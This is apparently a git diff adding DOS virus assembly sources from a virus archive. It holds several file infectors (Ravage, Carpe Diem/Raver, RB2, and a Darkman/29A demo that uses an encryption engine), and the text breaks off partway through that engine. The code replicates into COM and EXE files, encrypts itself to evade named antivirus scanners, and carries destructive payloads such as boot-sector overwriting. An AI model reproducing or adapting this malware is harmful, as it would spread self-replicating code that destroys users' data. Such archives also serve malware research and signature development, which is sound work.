all_com_files ; + int 21h ; + ; +start_infecting: + mov ax,3D01h ; + mov dx,Location_file ; + int 21h ; Open target file. + + mov bx,ax + mov dx,offset ds:[100h] ; Location of file to write. + mov cl,5ch ; File size to overwrite. + mov ah,40h ; + int 21h ; Write to filename in dx + ; + mov ah,3Eh ; + int 21h ; + ; + mov ah,4Fh ; + int 21h ; + ; + jnc start_infecting ; If more files,keep goin + mov ah,09h ; + mov dx,offset bbs_ad ; display my bbsad! + int 21h + int 20h ; get to dos. +all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files + ; in current dir.. +bbs_ad db 'Underground Asylum BBS - [904]688.6494$' +rat_virus endp + +seg_a ends + end start + \ No newline at end of file diff --git a/r/RAVAGE.ASM b/r/RAVAGE.ASM new file mode 100755 index 0000000..9ddd59e --- /dev/null +++ b/r/RAVAGE.ASM @@ -0,0 +1,254 @@ +; Virusname: Ravage +; Origin: Sweden +; Author: Metal Militia + +; This virus can be found with any anti-virus program, since it's been +; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON, that is..) + +; It's a resident .COM and .EXE infector, without any encryption or +; stealth capabilities. It infects when you execute (4bh), opens (3dh), +; extended open (6ch), and on closing (3eh). This makes it quite a good +; infector, but since it doesn't care what files it infects, most of the +; AV programs will find themselves makes it quite a good infector, but +; any program with selfchecking (95%) will find themself hit. + +; I stopped with this virus since it's so totally buggy that you'll find +; it almost at once. This is the reason why i give you the source code. +; In my later resident things, there will be such things as encryption, +; stealth etc. i think.. + + + + .model tiny + .code + .radix 16 + .code + EXE_ID = -42 + viruslength = heap - _small + startload = 90 * 4 + + _small: + call relative + oldheader dw 020cdh + dw 0bh dup (0) + relative: + pop bp + push ds + push es + xor ax,ax + mov ds,ax + mov es,ax + mov di,startload + cmp word ptr ds:[di+25],di + jz exit_small + + lea si,[bp-3] + mov cx,viruslength + db 2Eh + rep movsb + + mov di,offset old21 + startload + mov si,21*4 + push si + movsw + movsw + pop di + mov ax,offset int21 + startload + stosw + xchg ax,cx + stosw + + exit_small: + pop es + pop ds + + or sp,sp + jnp returnCOM + returnEXE: + mov ax,ds + add ax,10 + add [bp+16],ax + add ax,[bp+0e] + mov ss,ax + mov sp,cs:[bp+10] + jmp dword ptr cs:[bp+14] + returnCOM: + mov di,100 + push di + mov si,bp + movsw + movsb + ret + + infect: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax,4300h + int 21h + jnc test_it + jmp exitinfect + + test_it: + test cl,1 + je ok_2_open + and cl,0feh + mov ax,4301h + int 21h + jnc ok_2_open + jmp exitinfect + + ok_2_open: + mov ax,3d02 + int 21 + xchg ax,bx + + push cs + pop ds + push cs + pop es + + mov ax,5700h + int 21h + + push cx + push dx + + mov si,offset oldheader+startload + + mov ah,3f + mov cx,18 + push cx + mov dx,si + int 21 + + cmp ax,cx + jnz go_already_infected + + mov di,offset target + startload + push di + rep movsb + pop di + + mov ax,4202 + cwd + int 21 + + cmp ds:[di],'ZM' + jz infectEXE + cmp ds:[di],'MZ' + jz infectEXE + + sub ax,3 + mov byte ptr ds:[di],0e9 + mov ds:[di+1],ax + + sub ax,viruslength + cmp ds:[si-17],ax + jnz finishinfect + go_already_infected: + pop cx + jmp short already_infected + + int21: + cmp ax,4b00 + jz infect + cmp ax,3d00 + jz infect + cmp ax,3e00 + jz some_open + cmp ax,6c00 + jnz not_opening + some_open: + mov ah,45 + int 21 + jmp infect + + not_opening: + jmp chain + + infectEXE: + cmp word ptr [di+10],EXE_ID + jz go_already_infected + + push ax + push dx + + add ax,viruslength + adc dx,0 + + mov cx,200 + div cx + + or dx,dx + jz nohiccup + inc ax + nohiccup: + mov word ptr ds:[di+4],ax + mov word ptr ds:[di+2],dx + + pop dx + pop ax + + mov cx,10 + div cx + + sub ax,ds:[di+8] + + mov word ptr ds:[di+14],dx + mov word ptr ds:[di+16],ax + + mov word ptr ds:[di+0e],ax + mov word ptr ds:[di+10],EXE_ID + finishinfect: + mov cx,viruslength + mov ah,40 + mov dx,startload + int 21 + + mov ax,4200 + xor cx,cx + cwd + int 21 + + mov ah,40 + mov dx,di + pop cx + int 21 + already_infected: + pop dx + pop cx + + mov ax,5701h + int 21h + + mov ah,3e + int 21 + jmp exitinfect + + db 'RAVAGE! ' + db '(c) Metal Militia / Immortal Riot' + + exitinfect: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + chain: + db 0ea + heap: + old21 dw ?, ? + target dw 0ch dup (?) + + endheap: + end _small \ No newline at end of file diff --git a/r/RAVER.ASM b/r/RAVER.ASM new file mode 100755 index 0000000..8514693 --- /dev/null +++ b/r/RAVER.ASM @@ -0,0 +1,292 @@ +; VirusName : CARPE DIEM! - Seize the day +; Origin : Sweden +; Author : Raver +; Date : 16/11/93 + +; Well this is my (Raver's) first scratch virus. +; This virus is mainly made for educational purpose (my own!). +; It's pretty well commented in an easy way so even you folks +; with little experience with assembler should be able to follow +; the code! + +; It's a pretty simple non-overwriting .com-infector with a harmless +; nuking routine. It clears and restores the file attributes and +; date/time stamp and finds and infects files using the dot-dot method. +; An encryption routine and some "unusual" instructions are included to +; avoid detection by the common virus scanners. At release date, see +; above, neither F-prot nor Tb-scan found traces of virus code! + +; There is about a 5 percent chance that the nuking routine will be +; activated, it checks the system time for 1/100 of a second. If it's +; activated it'll overwrite the first sector on the fixed disk (c:) +; which contains the boot sector. This might seem cruel but, infact, +; it's quite harmless 'cause norton utilities and other programs +; easily restore the boot sector. It's there just to make inexperienced +; users (lamers!) nervous! + +; ----------- +; CARPE DIEM! - Seize the day +; ----------- + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +start_of_virus: ;entry point + call get_off ;this somewhat unusual code won't +get_off: ;produce a flexible entry point flag + mov si,sp ;get the delta offset + mov bp,word ptr ss:[si] ;offset is on top of stack + sub bp,offset get_off ;put it in bp + inc sp ;restore sp to it's original + inc sp + +; call encrypt_decrypt ;decrypt the contents of the program + mov ax,bp ;use alternative code - otherwise + add ax,116h ;f-prot will recognize it as Radyum!!!! + push ax + jmp encrypt_decrypt + jmp encrypted_code_start ;jmp to the (en/de)crypted virus area + + +encryption_value dw 0 ;random value for encryption routine + + +write_virus_to_file: ;proc to append virus code to file + + call encrypt_decrypt ;encrypt the virus before write + + mov cx,offset end_of_virus-100h ;length of virus to be written + lea dx,[bp] ;write from start + mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of + inc ah ;file length in DTA. Is + add dx,ax ;always 0 in .com-files. + mov ah,40h ;Use this trick to fool + int 21h ;heuristic searches. + ;dx = delta offset+100h + call encrypt_decrypt ;decrypt the code for + ret ;further processing. + + +encrypt_decrypt: ;proc to (en/de)crypt the code + mov dx,word ptr [bp+encryption_value] ;use random number for every + lea si,[bp+encrypted_code_start] ;new infection + mov cx,(end_of_virus-encrypted_code_start+1)/2 + +crypt_loop: ;xor the whole virus code + xor word ptr [si],dx ;between encrypted_code_start + add si,2 ;and end_of_virus + loop crypt_loop + + ret + +; ----------- +; Here the part that will be encrypted starts, i.e. all code +; except the encryption routine and the routine to append virus +; to file. +; ----------- + +encrypted_code_start: + + cld + + mov ah,1ah ;Set DTA Transfer area to after + lea dx,[bp+end_of_virus] ;after the end of file to save file + int 21h ;size. Note: do not use default 80h + ;as DTA area since the parameters to + ;the "real" program will be overwritten! + + lea si,[bp+orgbuf] ;Transfer buffer contents + lea di,[bp+orgbuf2] ;to be restored to the beginning + mov cx,2 ;for restart of the "real" program + rep movsw + + mov di,2 ;Infection counter, 2 files every run + + mov ah,19h ;get current drive + int 21h + cmp al,2 ;check if a: or b: + jae get_cur_dir ;if so, skip infection. Otherwise + jmp no_more_files ;the user will most likely get + ;quite suspicious +get_cur_dir: + mov ah,47h ;get starting directory + xor dl,dl ;it will be changed by the + lea si,[bp+end_of_virus+2ch] ;dot-dot method later on + int 21h + +find_first: ;start finding the first .com file + mov cx,7 ;in every new dir + lea dx,[bp+filespec] + mov ah,4eh + int 21h + jnc clear_attribs ;successive? + + call ch_dir ;no more files in dir. change dir + jmp find_first ;start over again + ;otherwise jmp + +find_next: ;this is the upper point of the find + mov ah,4fh ;files loop in a dir + int 21h + jnc clear_attribs + + call ch_dir ;no more files in dir. change dir + jmp find_first ;start over again + +clear_attribs: ;set the file attribute to 0 + mov ax,4301h + xor cx,cx + lea dx,[bp+end_of_virus+1eh] + int 21h + +open_file: ;open file to be infected + mov ax,3d02h +; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs + int 21h + + xchg ax,bx ;Put file handle in bx + +read_file: ;read first four bytes of file + mov ah,3fh ;They will be restore to the start + mov cx,4 ;after the virus is finnished + lea dx,[bp+orgbuf] ;so the program can execute + int 21h + +check_already_infected: ;check the first to bytes and check + mov si,dx ;if the file is already infected + lea si,[bp+orgbuf] + cmp word ptr [si],0e990h + je already_infected ;if so, jmp + + cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com + jz already_infected ;if so, don't infect + + mov ax,word ptr [bp+end_of_virus+1ah] ;check file size + cmp ax,500 ;and skip short and + jb already_infected ;long files + cmp ax,64000 + ja already_infected + + + mov ax,4202h ;get lenght of initial jmp in ax + xor cx,cx + xor dx,dx + int 21h + + sub ax,4 ;subtract the first four bytes, which + ;will be overwritten + + mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop + mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning + ;notice the reversed order! + + mov ax,4200h ;move to beginning of file + int 21h + + mov ah,40h ;write the new instructions + mov cx,4 + lea dx,[bp+startbuf] + int 21h + + mov ax,4202h ;move to end of file + xor cx,cx + xor dx,dx + int 21h + + mov ah,2ch ;get a random number from + int 21h ;system clock for the + mov word ptr [bp+encryption_value],dx ;encryption routine + call write_virus_to_file ;append the virus code + jmp restore_time_date + +already_infected: ;if already encrypted increase + inc di ;infection counter with one + +restore_time_date: ;restore file time & date + lea si,[bp+end_of_virus+16h] + mov cx,word ptr [si] + mov dx,word ptr [si+2] + mov ax,5701h + int 21h + +close_file: ;close the file handle + mov ah,3eh + int 21h + +set_old_attrib: ;restore the old file attrib + mov ax,4301h + xor ch,ch + mov cl,byte ptr [bp+end_of_virus+15h] + lea dx,[bp+end_of_virus+1eh] + int 21h + + dec di ;decrease infection counter + cmp di,0 ;and check if infection is + jbe no_more_files ;completed + jmp find_next + +no_more_files: + + mov ah,2ch ;get a new random number + int 21h ;5% chance of nuke + cmp dl,5 + ja restore_start ;above 5 no nuke + + mov ax,0301h ;trash the bootsector of c: + mov cx,0001h ;This might seem cruel but + mov dx,0080h ;norton and other programs + lea bx,[bp+start_of_virus] ;easily fix it. It's just + int 13h ;to make the user nervous!! + + mov ah,09h ;deliver a message too + lea dx,[bp+signature] + int 21h + + +restore_start: ;copy the four saved bytes to + lea si,[bp+orgbuf2] ;beginning of file in memory + mov di,100h + movsw + movsw + + +restore_dir: ;change back to original + lea dx,[bp+end_of_virus+2ch] ;dir + mov ah,3bh + int 21h + +exit_proc: ;return to start of program + mov bx,100h ;This will be enrypted in + push bx ;infected files, so anti-vir + ;progs won't complain. + xor ax,ax ;for org virus to push on + retn ;the stack for ret + + +ch_dir: + lea dx,[bp+dot_dot] ;use dot-dot method + mov ah,3bh + int 21h + jnc no_err ;sub dir existed + pop ax ;otherwise all files are checked. exit! + jmp no_more_files ;pop the ip pointer from the stack +no_err: ;and jump to the end part + ret + +signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$' +country db " Sweden 16/11/93" +filespec db '*.com',0 +dot_dot db '..',0 +orgbuf db 90h,90h,50h,0c3h ;instructions to exit the +orgbuf2 db 4 dup(0) ;scratch after infection +startbuf db 4 dup(0) ;nop,nop,push ax,ret +end_of_virus: +; ----------- +; The virus code ends here but the point below here (the heap) +; is used to store temporary variables such as the dta-area and +; the starting directory +; ----------- +cseg ends + end start_of_virus \ No newline at end of file diff --git a/r/RB2.ASM b/r/RB2.ASM new file mode 100755 index 0000000..24fb765 --- /dev/null +++ b/r/RB2.ASM @@ -0,0 +1,461 @@ + page 70,120 + Name VIRUS +;************************************************************************* + +; Program Virus Ver.: 1.1 +; Copyright by R. Burger 1986 +; This is a demonstration program for computer +; viruses. It has the ability to replicate itself, +; and thereby modify other programs +;************************************************************************* + + + +Code Segment + Assume CS:Code +progr equ 100h + ORG progr + +;************************************************************************* + +; The three NOP's serve as the marker byte of the +; virus which will allow it to identify a virus +;************************************************************************* + +MAIN: + nop + nop + nop + +;************************************************************************* + +; Initialize the pointers +;************************************************************************* + + mov ax,00 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + +;************************************************************************* + +; Get the selected drive +;************************************************************************* + + mov ah,19h ; drive? + int 21h + +;************************************************************************* + +; Get the current path on the current drive +;************************************************************************* + + mov cs:drive,al ; save drive + mov ah,47h ; dir? + mov ah,ah + mov si,si + mov dh,0 + add al,1 + mov dl,dl + nop ;**** + mov dl,al + mov dl,dl + nop ;**** ; in actual drive + lea si,cs:old_path + int 21h + +;************************************************************************* + +; Get the number of drives present. +; If only one drive is present, the pointer for +; search order will be set to search order + 6 +;************************************************************************* + + mov ah,0eh ; how many disks + mov dl,0 ;****???? + int 21h + + mov al,01 + cmp al,01 ; one drive? + jnz hups3 + mov al,06 + +hups3: mov ah,0 + lea bx,search_order + add bx,ax + add bx,0001h + mov cs:pointer,bx + clc + +;************************************************************************* + +; Carry is set, if no more .COM's are found. +; Then, to avoid unnecessary work, .EXE files will +; be renamed to .COM file and infected. +; This causes the error message "Program too large +; to fit in memory" when starting larger infected +; EXE programs. +;************************************************************************* + +change_disk: + jnc no_name_change + mov ah,17h ; change exe to com + lea dx,cs:maske_exe + int 21h + cmp al,0ffh + jnz no_name_change ; .EXE found? + +;************************************************************************* + +; If neither .COM nor .EXE is found, then sectors will +; be overwritten depending on the system time in +; milliseconds. This is the time of the complete +; "infection" of a storage medium. The virus can find +; nothing more to infect and starts its destruction. +;************************************************************************* + +; mov ah,2ch ; read system clock +; int 21h +; mov bx,cs:pointer +; mov al,cs:[bx] +; mov bx,dx +; nop ;**** +; mov cx,2 +; nop ;**** +; mov dh,0 +; int 26h ; write crap on disk + +db ' RB2 - LiquidCode ' +;************************************************************************* + +; Check if the end of the search order table has been +; reached. If so, end. +;************************************************************************* + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0ffh + jnz hups2 + jmp hops + +;************************************************************************* + +; Get new drive from search order table and +; select it. +;************************************************************************* + +hups2: + mov ah,0eh + mov dl,2 ;***** + + int 21h ; change disk + +;************************************************************************* + +; Start in the root directory +;************************************************************************* + + mov ah,3bh ; change path + lea dx,path + int 21h + jmp find_first_file + +;************************************************************************* + +; Starting from the root, search for the first subdir +; First convert all .EXE files to .COM in the old +; directory. +;************************************************************************* + +find_first_subdir: + mov ah,17h ; change exe to com + lea dx,cs:maske_exe + int 21h + mov ah,3bh ; use root dir + lea dx,path + int 21h + mov ah,04eh ;Search for first subdirectory + mov cx,00010001b ; dir mask + lea dx,maske_dir + int 21h + jc change_disk + + mov bx,CS:counter + INC BX + DEC bx + jz use_next_subdir + +;************************************************************************* + +; Search for the next subdir. If no more directories +; are found, the drive will be changed. +;************************************************************************* + +find_next_subdir: + mov ah,4fh ; search for next subdir + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +;************************************************************************* + +; Select found directory +;************************************************************************* + +use_next_subdir: + mov ah,2fh ; get dta address + int 21h + add bx,1ch + mov es:[bx],'\ ' ; address of name in dta + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3bh ; change path + int 21h + pop ds + mov bx,cs:counter + inc bx + mov CS:counter,bx + +;************************************************************************* + +; Find first .COM file in the current directory. +; If there are non, search the next directory. +;************************************************************************* + +find_first_file: + mov ah,04eh ; Search for first + mov cx,00000001b ; mask + lea dx,maske_com ; + int 21h + jc find_first_subdir + jmp check_if_ill + +;************************************************************************* + +; If the program is already infected, search for +; the next program. +;************************************************************************* + +find_next_file: + mov ah,4fh ; search for next + int 21h + jc find_first_subdir + +;************************************************************************* + +; Check if already infected by the virus. +;************************************************************************* + +check_if_ill: + mov ah,3dh ; open channel + mov al,02h ; read/write + mov dx,9eh ; address of name in dta + int 21h + mov bx,ax ; save channel + mov ah,3fh ; read file + mov cx,buflen ; + mov dx,buffer ; write in buffer + int 21h + mov ah,3eh ; CLOSE FILE + int 21h + +;************************************************************************* + +; Here we search for three NOP's. +; If present, there is already an infection. We must +; then continue the search. +;************************************************************************* + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + +;************************************************************************* + +; Bypass MS-DOS write protection if present +;************************************************************************* + + mov ah,43h ; write enable + mov al,0 + mov dx,9eh ; address of name in dta + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + +;************************************************************************* + +; Open file for write access. +;************************************************************************* + + mov ah,3dh ; open channel + mov al,02h ; read/write + mov dx,9eh ; address of name in dta + int 21h + +;************************************************************************* + +; Read date entry of program and save for future use. +;************************************************************************* + + mov bx,ax ; channel + mov ah,57h ; get date + mov al,0 + int 21h + push cx ; save date + push dx + +;************************************************************************* + +; The jump located at address 0100h of the program +; will be saved for future use. +;************************************************************************* + + mov dx,cs:[conta] ; save old jmp + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] ; save new jump + lea cx,cont-100h + sub dx,cx + mov cs:[conta],dx + +;************************************************************************* + +; The virus copies itself to the start of the file +;************************************************************************* + + mov ah,40h ; write virus + mov cx,buflen ; length buffer + lea dx,main ; write virus + int 21h + +;************************************************************************* + +; Enter the old creation date of the file. +;************************************************************************* + + mov ah,57h ; write date + mov al,1 + pop dx + pop cx ; restore date + int 21h + +;************************************************************************* + +; Close the file. +;************************************************************************* + + mov ah,3eh ; close file + int 21h + +;************************************************************************* + +; restore the old jump address. +; The virus saves at address "conta' the jump which +; was at the start of the host program. +; This is done to preserve the executability of the +; host program as much as possible. +; After saving itstill works with the jump address +; contained in the virus. The jump address in the +; virus differs from the jump address in memory +; +;************************************************************************* + + mov dx,cs:[jmpbuf] ; restore old jmp + mov cs:[conta],dx +hops: nop + call use_old + +;************************************************************************* + +; Continue with the host program. +;************************************************************************* + +cont db 0e9h ; make jump +conta dw 0 + mov ah,00 + int 21h + +;************************************************************************* + +; reactivate the selected drive at the start of the +; program. +;************************************************************************* + +use_old: + mov ah,0eh ; use old drive + mov dl,cs:drive + int 21h + +;************************************************************************* + +; Reactivate the selected path at the start of the +; program. +;************************************************************************* + + mov ah,3bh ; use old dir + lea dx,old_path-1 ; get old path and backslash + int 21h + ret + + +search_order db 0ffh,1,0,2,3,0ffh,00,0ffh +pointer dw 0000 ; pointer f. search order +counter dw 0000 ; counter f. nth search +disks db 0 ; number of disks + + +maske_com db "*.com",00 ; search for com files +maske_dir db "*",00 ; search dir's +maske_exe db 0ffh,0,0,0,0,0,00111111b + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +maske_all db 0ffh,0,0,0,0,0,00111111b + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +buffer equ 0e000h ; a safe place + +buflen equ 230h ; length of virus !!!!!! + ; careful + ; if changing !!!!!! + +jmpbuf equ buffer+buflen ; a safe place for jump +path db "\",0 ; first path +drive db 0 ; actual drive +back_slash db "\" +old_path db 32 dup(?) ; old path + +code ends + +end main + +;************************************************************************* +; WHAT THE PROGRAM DOES: +; +; When the program is started, the first COM file in the root +; directory is infected. You can't see any changes to the +; directory entries. But if you look at the hex dump of an +; infected program, you can see the marker, which in this case +; consists of three NOP's (hex 90). WHen the infected program +; is started, the virus will first replicate itself, and then +; try to run the host program. It may run or it may not, but +; it will infect another program. This continues until all +; the COM files are infected. The next time it is run, all +; of the EXE files are changed to COM files so that they can +; be infected. In addition, the manipulation task of the virus +; begins, which consists of the random destruction of disk +; sectors. +;************************************************************************* +  +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/r/RDAEDEMO.ASM b/r/RDAEDEMO.ASM new file mode 100755 index 0000000..80d2566 --- /dev/null +++ b/r/RDAEDEMO.ASM @@ -0,0 +1,600 @@ +[rdaedemo.asm] +comment * + Random Decoding Algorithm Engine demo + Code by + Darkman/29A + + Random Decoding Algorithm Engine demo is a 866 bytes direct action appending + COM virus, infects every file in current diretory. Random Decoding Algorithm + Engine demo has an error handler and is using the Random Decoding Algorithm + Engine v 1.00 [RDAE]. Random Decoding Algorithm demo has a destructive + payload. + + Compile Random Decoding Algorithm E... with Turbo Assembler v 5.0 by typing: + TASM /M RDAEDEMO.ASM + TLINK /x RDAEDEMO.OBJ + EXE2BIN RDAEDEMO.EXE RDAEDEMO.COM +* + +.model tiny +.code + +code_begin: + cld ; Clear direction flag + mov cx,05h ; CX = length of encrypted code + lea si,[bp+origin_code] ; SI = offset of origin_code + push si ; Save SI at stack +call_imm16 equ word ptr $+01h ; Offset of CALL imm16 + call first_gen +restore_code: + pop si ; Load SI from stack + mov di,100h ; DI = offset of beginning of code + push di ; Save DI at stack + movsw ; Move the original code to beginning + movsw ; " " " " " " + movsb ; " " " " " " + + mov ax,3524h ; Get interrupt vector 24h + int 21h + push bx es ; Save registers at stack + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + mov ah,25h ; Set interrupt vector 24h + lea dx,[bp+int24_virus] ; DX = offset of int24_virus + int 21h + push ax ; Save AX at stack + + mov ah,1ah ; Set Disk Transfer Area address + lea dx,[bp+dta] ; DX = offset of dta + int 21h + + mov ah,4eh ; Find first matching file (DTA) + mov cl,00100110b ; CL = file attribute mask + sub dx,(dta-file_specifi) +find_next: + int 21h + jnc infect_file ; No error? Jump to infect_file +virus_exit: + mov ah,1ah ; Set disk transfer area address + mov dx,80h ; DX = offset of default DTA + int 21h + + pop ax ; Load AX from stack + pop es bx ; Load registers from stack + int 21h + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + xor ax,ax ; Zero AX + mov bx,ax ; " BX + mov cx,ax ; " CX + cwd ; " DX + mov di,ax ; " DI + mov si,ax ; " SI + mov bp,ax ; " BP + + ret ; Return +infect_file: + mov ax,3d02h ; Open file (read/write) + lea dx,[bp+filename] ; DX = offset of filename + int 21h + xchg ax,bx ; BX = file handle + jc close_file ; Error? Jump to close_file + + mov ah,3fh ; Read from file + mov cx,05h ; Read five bytes + sub dx,(filename-origin_code) + int 21h + + mov si,dx ; SI = offset of origin_code + mov ax,[si] ; AX = two bytes of origin_code + cmp al,10111101b ; MOV BP,imm16 (opcode 0bdh)? + je close_file ; Already infected? Jump to close_... + + xor ax,'MZ' ; EXE signature? + jz close_file ; Zero? Jump to close_file + xor ax,('ZM' xor 'MZ') ; EXE signature? + jz close_file ; Zero? Jump to close_file + + mov ax,4202h ; Set current file position (EOF) + cwd ; Zero DX + mov cx,dx ; " CX + int 21h + + cmp ax,(code_end-code_begin)*02h + jb close_file ; Below? Jump to close_file + cmp ax,0fefeh-(data_end-code_begin) + jbe get_sys_time ; Below or equal? Jump to get_sys_... +close_file: + mov ah,3eh ; Close file + int 21h + + mov ah,4fh ; Find next matching file (DTA) + jmp find_next +get_sys_time: + add ax,100h ; Add offset of beginning of code ... + mov [bp+virus_offset],ax + + mov ah,2ch ; Get system time + int 21h + + mov al,00000001b ; AL = flags + + cmp ch,04h ; 4.00am? + jne write_file ; Below? Jump to write_file + + inc ax ; AL = flags + + cmp cl,28h ; 4.40am? + jb write_file ; Above? Jump to write_file + + inc ax ; AL = flags +write_file: + push bx ; Save BX at stack + mov cx,05h ; CX = length of original code + call rdae_encrypt + pop bx ; Load BX from stack + + mov ah,40h ; Write to file + mov cx,(code_end-code_begin) + mov dx,bp ; DX = delta offset + int 21h + cmp ax,cx ; Written all of the virus? + jne close_file_ ; Not equal? Jump to close_file_ + + mov ax,4200h ; Set current file position (SOF) + cwd ; Zero DX + mov cx,dx ; " CX + int 21h + + mov ah,40h ; Write to file + mov cl,05h ; Write five bytes + lea dx,[bp+infect_code] ; DX = offset of infect_code + int 21h +close_file_: + mov ax,5701h ; Set file's data and time + mov cx,[bp+file_time] ; CX = file's time + mov dx,[bp+file_date] ; DX = file's date + int 21h + + jmp close_file + +int24_virus proc near ; Interrupt 24h of Random Decoding... + mov al,03h ; Fail system call in progress + + iret ; Interrupt return + endp +infect_code: +virus_offset equ word ptr $+01h ; Offset of virus within infected ... + mov bp,00h ; BP = delta offset + + jmp bp + +include rdae.asm ; Include Random Decoding Algorith... +file_specifi db '*.COM',00h ; File specification +origin_code db 11001101b,00100000b,?,?,?,? + db '[Random Decoding Algorithm Engine demo] ' + db '[Darkman/29A]' ; Author of the virus +code_end: +dta: + db 15h dup(?) ; Used by DOS for find next-process +file_attr db ? ; File attribute +file_time dw ? ; File time +file_date dw ? ; File date +filesize dd ? ; Filesize +filename db 0dh dup(?) ; Filename + +include rdae.inc ; Include Random Decoding Algorith... +data_end: +first_gen: + pop bx ax ; Load registers from stack + + std ; Set direction flag + mov cx,(code_end-code_begin) + lea di,code_end+105h-01h + lea si,code_end+105h-06h + rep movsb ; Move virus to delta offset + + cld ; Clear direction flag + lea ax,[origin_code+105h] + lea bx,[restore_code+105h] + mov bp,105h ; BP = delta offset + mov [call_imm16+105h],(rdae_decrypt-restore_code) + + push ax bx ; Save registers at stack + + ret ; Return + +end code_begin +[rdaedemo.asm] +[rdae.asm] +comment * + Random Decoding Algorithm Engine v 1.00 [RDAE] + Code by + Darkman/29A + + + + Calling parameters: + AL Flags (only when calling rdae_encrypt) + CX Length of original/encrypted code + BP Delta offset + DS:SI Pointer to original/encrypted code + + Flags: + xxxxxx00 Low security, high speed, 256 different algorithms. + xxxxxx01 Medium security, medium speed, 65.536 different algorithms. + xxxxxx10 High security, low speed, 16.777.216 different algorithms. + xxxxxx11 Highest security, lowest speed, 4.294.967.296 different algorithms. + + Encryption/decryption algorithms: + NOP; SEGCS; NEG AL; NOT AL; DEC AL; INC AL; ROL AL,01h; ROR AL,01h + ADD AL,CL; ROL AL,CL; ROR AL,CL; SUB AL,CL; XOR AL,CL; ADD AL,imm8 + SUB AL,imm8; XOR AL,imm8 + + Encryption/decryption keys: + Eighty-one, random, 8-bit, with the possibility of being a sliding key. + + Checksum: + 32-bit Cyclic Redundancy Check (CRC-32), of the decryption algoritm. + + Levels of security: + Four. + + Random Decoding Algorithm Engine v 1.00 [RDAE] length: 567 bytes. +* + +rdae_begin: +rdae_encrypt proc near ; Random Decoding Algorithm Engine... + push cx si ; Save registers at stack + push ax ; Save AX at stack + call prepare_rdae + + mov cl,(key_end-key_begin) + lea di,[bp+key_table] ; DI = offset of key_table +gen_key_loop: + push cx ; Save CX at stack +gen_key_loo: + call get_rnd_num + + mov cl,(key_end-key_begin) + lea bx,[bp+key_table] ; BX = offset of key_table +cmp_key_loop: + cmp [bx],al ; Current encryption/decryption k...? + je gen_key_loo ; Equal? Jump to key_tab_loo + + inc bx ; Increase index register + + loop cmp_key_loop + pop cx ; Load CX from stack + + stosb ; Store 8-bit random number + + loop gen_key_loop + + pop cx ; Load CX from stack (AX) + and cx,0000000000000011b + inc cx ; CX = number of encryption/decryp... + mov dx,cx ; DX = " " " + lea di,[bp+decrypt_algo] +gen_dec_loop: + mov al,(algori_end_-algori_begin)/04h + call rnd_in_range + shl bl,01h ; Multiply 8-bit random number wit... + shl bl,01h ; " " " " " + + lea si,[bx+algori_table] + add si,bp ; Add delta offset to offset withi... + movsw ; Move decryption algorithm + + mov al,(key_end-key_begin) + call rnd_in_range + add bx,bp ; Add delta offset to random numbe... + mov al,[bx+key_table] ; AL = encryption/decryption key + + push ax si ; Save registers at stack + call exam_sto_key + + loop gen_dec_loop + + lea di,[bp+encrypt_algo] +gen_enc_loop: + pop si ax ; Load registers from stack + movsw ; Move encryption algorithm + + call exam_sto_key + + dec dx ; Decrease count register + jnz gen_enc_loop ; Not zero? Jump to gen_dec_loop + + pop si bx ; Load registers from stack + std ; Set direction flag + add si,bx ; Add length of original code to p... + dec si ; SI = offset of last byte of plai... + mov di,si ; DI = " " " " " " +encrypt_loop: + inc cx ; Increase count register + + lodsb ; AL = byte of original code +encryp_begin: +encrypt_algo db 08h dup (?) ; Encryption algorithm +encryp_end: + stosb ; Store byte of encrypted code + + cmp cx,bx ; Encrypted all bytes of original...? + jne encrypt_loop ; Not equal? Jump to encrypt_loop + + call calc_crc32 + + cld ; Clear direction flag + lea di,[bp+crc32] ; DI = offset of crc32 + stosw ; Store low-order word of CRC-32 c... + xchg ax,dx ; DX = high-order word of CRC-32 c... + stosw ; Store high-order word of CRC-32 ... + + jmp rdae_exit + endp + +rdae_decrypt proc near ; Random Decoding Algorithm Engine... + push cx si ; Load registers from stack + call prepare_rdae +gen_dec_loo: + mov cl,(decryp_end-decryp_begin)/02h + lea di,[bp+decrypt_algo] + lea si,[bp+decrypt_ptr] ; SI = offset of decrypt_ptr + push si ; Save SI at stack +gen_dec_loo_: + lodsw ; AX = offset within key_table + push si ; Save SI at stack + + xchg ax,si ; AX = offset within key_table + lodsb ; AL = encryption/decryption key + xchg ax,bx ; BL = " " + + pop si ; Load SI from stack + lodsw ; AX = offset within algori_table + + push si ; Save SI at stack + xchg ax,si ; AX = offset within algori_table + movsw ; Move decryption algorithm to dec... + + xchg ax,bx ; AL = encryption/decryption key + call exam_sto_key + pop si ; Load SI from stack + + loop gen_dec_loo_ + pop di ; Load DI from stack (SI) +inc_idx_loop: + mov si,di ; SI = offset within decrypt_idx + lodsw ; AX = offset within key_table + xchg ax,bx ; BX = " " " + lodsw ; AX = offset within algori_table + + lea si,[bp+algori_end] ; SI = offset of algori_end + cmp ax,si ; Encryption/decryption algorithm...? + jb dont_inc_key ; 